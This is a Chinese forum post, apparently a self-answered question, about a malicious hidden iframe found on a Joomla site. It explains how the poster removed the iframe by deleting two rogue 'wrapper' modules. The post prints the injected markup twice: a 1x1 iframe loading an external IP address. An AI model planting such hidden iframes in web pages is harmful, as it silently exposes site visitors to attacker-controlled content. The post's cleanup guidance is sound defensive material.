如果您发现您的 joomla 页面加载速度非常慢,并意识到它可能是由恶意 iFrame 引起的,请在下面查看我的回答。
问问题
184 次
1 回答
0
在我的网站上,我有以下代码:
<div class="module">
<div>
<div>
<div>
<script language="javascript" type="text/javascript">
function iFrameHeight() {
var h = 0;
if ( !document.all ) {
h = document.getElementById('blockrandom').contentDocument.height;
document.getElementById('blockrandom').style.height = h + 60 + 'px';
} else if( document.all ) {
h = document.frames('blockrandom').document.body.scrollHeight;
document.all.blockrandom.style.height = h + 20 + 'px';
}
}
</script>
<iframe onload="iFrameHeight()" id="blockrandom"
name=""
src="http://88.198.219.85"
width="1"
height="1"
scrolling="auto"
align="top"
frameborder="0"
class="wrapper">
No Iframes</iframe> </div>
</div>
</div>
</div>
<div class="module">
<div>
<div>
<div>
<script language="javascript" type="text/javascript">
function iFrameHeight() {
var h = 0;
if ( !document.all ) {
h = document.getElementById('blockrandom').contentDocument.height;
document.getElementById('blockrandom').style.height = h + 60 + 'px';
} else if( document.all ) {
h = document.frames('blockrandom').document.body.scrollHeight;
document.all.blockrandom.style.height = h + 20 + 'px';
}
}
</script>
<iframe onload="iFrameHeight()" id="blockrandom"
name=""
src="http://88.198.219.85"
width="1"
height="1"
scrolling="auto"
align="top"
frameborder="0"
class="wrapper">
No Iframes</iframe> </div>
</div>
</div>
</div>
</div>
<!-- TOP BANNER PART END -->
我能够删除它的唯一方法是简单地进入 Joomla Admin -> Modules 并按“top”位置过滤,这会产生两个名为“wrapper”的模块mod_wrapper
是指向 88.198.219.85 的类型。
所以,希望这对某人有所帮助,因为我在互联网上没有找到任何帮助,除了这个人(未解决)有同样的问题http://forum.joomla.org/viewtopic.php?f=428&t=773730
于 2013-02-24T15:26:51.020 回答